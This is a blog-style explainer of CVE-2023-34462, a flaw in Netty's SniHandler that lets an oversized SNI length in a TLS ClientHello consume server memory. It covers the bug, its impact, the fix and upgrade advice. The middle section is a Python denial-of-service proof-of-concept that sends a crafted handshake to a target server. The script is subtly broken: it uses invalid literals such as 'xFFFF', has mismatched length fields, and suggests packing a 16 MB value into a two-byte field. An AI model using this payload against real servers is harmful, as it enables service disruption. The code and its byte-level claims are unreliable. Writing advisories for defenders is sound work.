CVE-2023-34462 - How Netty’s SniHandler Can Be Exploited to Eat Server Memory (And How It Was Fixed)
Netty is a popular open source library for building high-performance, asynchronous network applications in Java. If you run or maintain Java services that use TLS, there’s a good chance Netty powers them under the hood.
In early 2023, a nasty vulnerability was found in Netty’s SniHandler—a handler designed for virtual hosting with TLS (think: picking certificates based on the client’s requested domain). This bug (assigned CVE-2023-34462) could let an attacker, with just network access, eat up massive amounts of server memory with a single request, potentially crashing your service. Let’s break it down in simple terms:
What Is the SniHandler?
In Netty, when supporting multiple domains or dynamic certs over TLS, you use the SniHandler. Its job is to:
1. Wait for the ClientHello message in the TLS handshake, which tells it which domain the client wants.
2. Use the domain to select an appropriate certificate and create an SslHandler, enabling secure connections.
To do this, SniHandler reads and parses the “Server Name Indication” (SNI) extension inside the ClientHello packet. This parsing involves allocating a ByteBuf buffer.
Where’s the Problem?
Here’s the issue: SniHandler trusts the value indicated in the ClientHello for how big a buffer it needs to allocate. But it doesn’t check if this size is reasonable.
The Flaw
If an attacker crafts a malicious TLS handshake (specifically, a ClientHello record) and sets the SNI “server name” length field to something huge (up to 16 MB), Netty’s SniHandler will cheerfully allocate that much memory into the Java heap—per connection.
Do this enough times, and you can exhaust server memory (or at the very least, slow everything to a crawl).
The Problem Code (Simplified)
// Not actual full code, but the logic pattern:
int serverNameLength = clientHelloBuffer.readUnsignedShort();
// No sanity check!
ByteBuf nameBuf = clientHelloBuffer.readBytes(serverNameLength);
The lack of a sanity check lets a sneaky client tell Netty to allocate way, way too much.
What’s the Real-World Impact?
- A remote client (even unauthenticated) can send a single malicious handshake and eat up 16 MB of server memory, PER connection.
- Servers without idle timeouts are especially vulnerable. The memory won’t be released unless the channel is closed.
How Hard Is It To Exploit? (With Example)
Very easy. You just need to open a TCP connection to the server, start a TLS handshake, and send a fraudulent ClientHello with a massive SNI length.
Here’s a demonstration in Python (using socket and struct). This snippet crafts a fake TLS ClientHello message with a huge SNI length to mess with Netty servers:
import socket, struct
HOST = 'your.netty.server.com'
PORT = 443 # Or whatever your service runs on
s = socket.create_connection((HOST, PORT))
# Minimal TLS ClientHello header (SSL3/TLS1. for simplicity)
client_hello_hdr = b'\x16\x03\x01' # TLS Handshake type, version 3.1
client_hello_hdr += struct.pack('>H', 70) # Length: 70 bytes (adjust as needed)
client_hello_body = b'\x01\x00\x00\x42' # Handshake: ClientHello, 66 bytes
client_hello_body += b'\x03\x03' # Version TLS 1.2
client_hello_body += b'\x00' * 32 # Random
client_hello_body += b'\x00' # Session ID
client_hello_body += b'\x00\x04' # Cipher Suites length
client_hello_body += b'\x00\x2f\x00\x35' # Example CipherSuites
client_hello_body += b'\x01' # Compression Methods
client_hello_body += b'\x00' # Compression Method: null
client_hello_body += b'\x00\x16' # Extensions length: 22 bytes
# SNI extension with insane server name length (e.g., xFFFF)
sni_ext = b'\x00\x00' # Extension type: SNI
sni_ext += b'\x00\x12' # Length: 18 bytes
sni_ext += b'\x00\x10' # SNI data length: 16 bytes
sni_ext += b'\x00' # Name type: host
# Malicious: Length xFFFF (64 KB for this demo, change to x100000 for 16 MB)
sni_ext += struct.pack('>H', xFFFF) # Malicious server name length
sni_ext += b'A' * x10 # (Normally this would match the above, but we're showing idea)
client_hello_body += sni_ext
s.sendall(client_hello_hdr + client_hello_body)
s.close()
*A real exploit would set the SNI length to 16MB (x100000), causing the Netty Java process to try to allocate that much heap for every such connection.*
How Did Netty Fix It?
Netty patched this vulnerability in version 4.1.94.Final.
The fix is simple: they added checks in the SniHandler to ensure the SNI field in the handshake is not absurdly large. If the size is too big, it now throws an exception and closes the connection, preventing wasted memory.
Here’s the relevant commit:
https://github.com/netty/netty/pull/12901
Upgrade Netty to at least 4.1.94.Final (or later versions).
- If you use any cloud provider or framework that embeds Netty, make sure their Netty version is also up-to-date.
More Reading & References
- Netty security advisory: https://github.com/netty/netty/security/advisories/GHSA-vg98-xg27-rp63
- Netty SniHandler source: https://github.com/netty/netty/blob/4.1/handler/src/main/java/io/netty/handler/ssl/SniHandler.java
- CVE record: https://nvd.nist.gov/vuln/detail/CVE-2023-34462
Recap: What You Need To Know
- CVE-2023-34462 covers a flaw where Netty's SniHandler could be tricked into allocating up to 16 MB per connection during the TLS handshake if you send it a huge SNI length.
Upgrade now or risk your server memory being eaten alive by attackers!
If you operate a Java service over TLS, take a look at your Netty version today. You might be sitting on a memory time-bomb.
*Stay safe—and when in doubt, always validate input, even when it comes from "trusted" protocols like TLS!*
Timeline
Published on: 06/22/2023 23:15:00 UTC
Last modified on: 08/03/2023 15:15:00 UTC